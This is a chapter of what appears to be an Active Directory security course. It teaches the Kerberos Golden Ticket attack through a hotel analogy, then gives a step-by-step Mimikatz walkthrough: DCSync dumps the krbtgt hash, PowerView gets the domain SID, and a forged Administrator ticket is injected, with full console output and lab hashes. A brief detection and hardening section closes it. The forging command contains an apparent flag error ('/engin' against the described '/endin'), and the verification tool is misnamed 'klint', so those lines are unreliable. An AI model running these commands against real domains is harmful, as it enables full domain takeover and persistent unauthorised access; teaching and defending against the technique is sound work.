

Chapter 9: Kerberos Golden Ticket

1 The Concept: The Golden Ticket

Technical Concept: Total Domain Compromise via krbtgt

The Kerberos Golden Ticket is a critical post-exploitation attack that allows threat agents to forge Ticket Granting Tickets (TGTs) for any user, effectively granting them full control over the domain.

- **The Secret Signer:** The `krbtgt` account is a default, disabled account whose password hash is used by the KDC service to sign all Kerberos tickets in the domain.
- **The Trust Mechanism:** Because this hash is the most trusted object in the environment, any ticket signed by it is blindly accepted by the entire domain as legitimate.
- **Persistence and Escalation:** Possession of the `krbtgt` hash allows for long-term persistence and the ability to escalate privileges across child and parent domains in a forest.

The Grand Hotel Analogy: The Master Key Stamper

Imagine the hotel uses a **Special Stamp** (*The krbtgt Hash*) to validate every guest's **Master Key Card** (*The TGT*).

- **The Trusted Tool:** The Front Desk Manager uses this stamp to authorize key cards. If a key card has the official stamp, every door lock in the hotel trusts it blindly.
- **The Theft:** An intruder (*The Attacker*) manages to break into the back office and steals the **Stamp** itself.
- **The Forge:** Now, the intruder can sit in their room and stamp their own "VIP All-Access" **Master Key Cards** (*Forged TGTs*).
- **The Result:** They can now walk into any room, including the General Manager's vault, because the locks cannot tell the difference between a real stamp and a forged one.

2 Mapping the Analogy to Technology

The Grand Hotel Analogy	Active Directory Technical Term
The Embossing Stamp	krbtgt Hash: The key used to sign all domain tickets.
The Forge	Mimikatz: The tool used to create the fake TGT.
VIP All-Access Voucher	Golden Ticket (Forged TGT): A ticket granting any privilege.
The Back Office	Domain Controller: Where the krbtgt hash is stored.

3 The Chain of Compromise: Real-World Context

In a real-world environment, a Golden Ticket is rarely the first step. It is the **final objective** of a multi-stage attack involving lateral movement.

Technical Concept: Why We Use Multiple Accounts

To understand the lab workflow, consider the specific roles of the compromised accounts:

- **The Specialized Tool (Rocky):** In this lab, *Rocky* is the only account with the technical permissions required to perform a *DCSync*. Attackers harvest accounts until they find one with enough power to steal the domain's "Master Stamp" (**krbtgt** hash).
- **The Persistence Vehicle (Bob):** Once the **krbtgt** hash is stolen, the attacker can "inject" that power into *any* account. Using the **/ptt** (Pass-the-Ticket) argument, even a low-privileged account like *Bob* can be granted the authority of a Domain Administrator.

The Grand Hotel Analogy: The Dishwasher's Promotion

The **Night Guard (Rocky)** has the keys to the back office where the **Embossing Stamp** is kept. After stealing the stamp, the intruder realizes it is too suspicious to keep using the Guard's identity. Instead, they forge a VIP pass for the **Dishwasher (Bob)**. Now, the intruder can walk through the front door as Bob, but with the hidden power to open any door in the building.

4 Attack Execution: Step-by-Step

4.1 Step 1: Obtaining the krbtgt Hash and Domain SID

Before forging the ticket, we must use a tool like **DCSync** to steal the krbtgt password hash and **PowerView** to identify the Domain SID.

>_ Terminal: Mimikatz - Stealing the krbtgt Hash

```
mimikatz # lsadump::dcsync /domain:eagle.local /user:krbtgt
```

```
mimikatz 2.2.0 (x64) (oe.eo)
PS C:\Mimikatz> .\mimikatz.exe

.#####.  mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > https://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'    > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /domain:eagle.local /user:krbtgt
[DC] 'eagle.local' will be the domain
[DC] 'DC1.eagle.local' will be the DC server
[DC] 'krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN          : krbtgt

** SAM ACCOUNT **

SAM Username       : krbtgt
Account Type       : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 07/08/2022 20.26.54
Object Security ID  : S-1-5-21-1518138621-4282902758-752445584-502
Object Relative ID  : 502

Credentials:
Hash NTLM: db0d0630064747072a7da3f7c3b4069e
ntlm - 0: db0d0630064747072a7da3f7c3b4069e
lm - 0: f298134aa1b3627f4b162df101be7ef9

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : b21cfadaca7a3ab774f0b4aea0d7797f
```

>_ Terminal: PowerShell - Obtaining Domain SID

```
Get-DomainSID
```

```

C:\Users\bob\Downloads>powershell -exec bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\bob\Downloads> . .\PowerView.ps1
PS C:\Users\bob\Downloads> Get-DomainSID
S-1-5-21-1518138621-4282902758-752445584
PS C:\Users\bob\Downloads> █

```

4.2 Step 2: Forging and Injecting the Golden Ticket

Armed with the `krbtgt` hash and the Domain SID, we can now act as our own **Key Distribution Center (KDC)**. We use **Mimikatz** to forge a Ticket Granting Ticket (TGT) for the Administrator account.

>_ Terminal: Mimikatz - Forging the Ticket

```

kerberos::golden /domain:eagle.local /sid:S-1-5-21-1518138621-4282902758-752445584
/rc4:db0d0630064747072a7da3f7c3b4069e /user:Administrator /id:500 /renewmax:7
/engin:8 /ptt

```

```

C:\mimikatz 2.2.0 x64 (oe.eo)
PS C:\Mimikatz> .\mimikatz.exe

.#####.  mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > https://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'   > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # kerberos::golden /domain:eagle.local /sid:S-1-5-21-1518138621-4282902758-752445584 /rc4:db0d0630064747072a7da3f7c3b4069e /user:Administrator /id:500 /renewmax:7 /engin:8 /ptt
User       : Administrator
Domain     : eagle.local (EAGLE)
SID        : S-1-5-21-1518138621-4282902758-752445584
User Id    : 500
Groups Id  : *513 512 520 518 519
ServiceKey : db0d0630064747072a7da3f7c3b4069e - rc4_hmac_nt
Lifetime   : 10/01/2026 15.34.33 ; 10/01/2026 15.42.33 ; 10/01/2026 15.41.33
-> Ticket  : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'Administrator @ eagle.local' successfully submitted for current session
mimikatz # █

```

Command Parameter Breakdown

To ensure the forged ticket remains valid and stealthy, the following arguments are utilized:

`/user:Administrator` The username for which Mimikatz will issue the forged ticket; using an existing user is required on modern systems like Windows 2019.

`/id:500` The **Relative ID (RID)** specifically for the built-in Administrator account.

`/ptt` **Pass-the-Ticket**: Instructs Mimikatz to inject the forged ticket directly into the current session's memory.

`/renewmax` & `/endin` These specify the ticket's end-of-life and maximum renewal period. Without these, Mimikatz defaults to a **10-year lifetime**, which is easily flagged by EDR systems.

5 The Impact: Infinite Access

Once a Golden Ticket is injected, the attacker has unrestricted access to the domain resources for as long as the ticket is valid.

Technical Concept: Verification

You can verify the active ticket using `klint` and test access by listing the contents of a remote administrative share:

- **Command:** `dir \\dc1\c$`

6 Detection & Prevention

Technical Concept: Hardening the Fortress

- **Prevention (krbtgt Reset):** Periodically reset the `krbtgt` password twice (at least 10 hours apart) to ensure old forged tickets are invalidated.
- **Detection (Behavioral):** Monitor for privileged accounts authenticating from non-PAW machines (Event IDs 4624/4625).
- **Abnormal TGS Requests:** Alert on TGS requests for users where no prior TGT request was logged.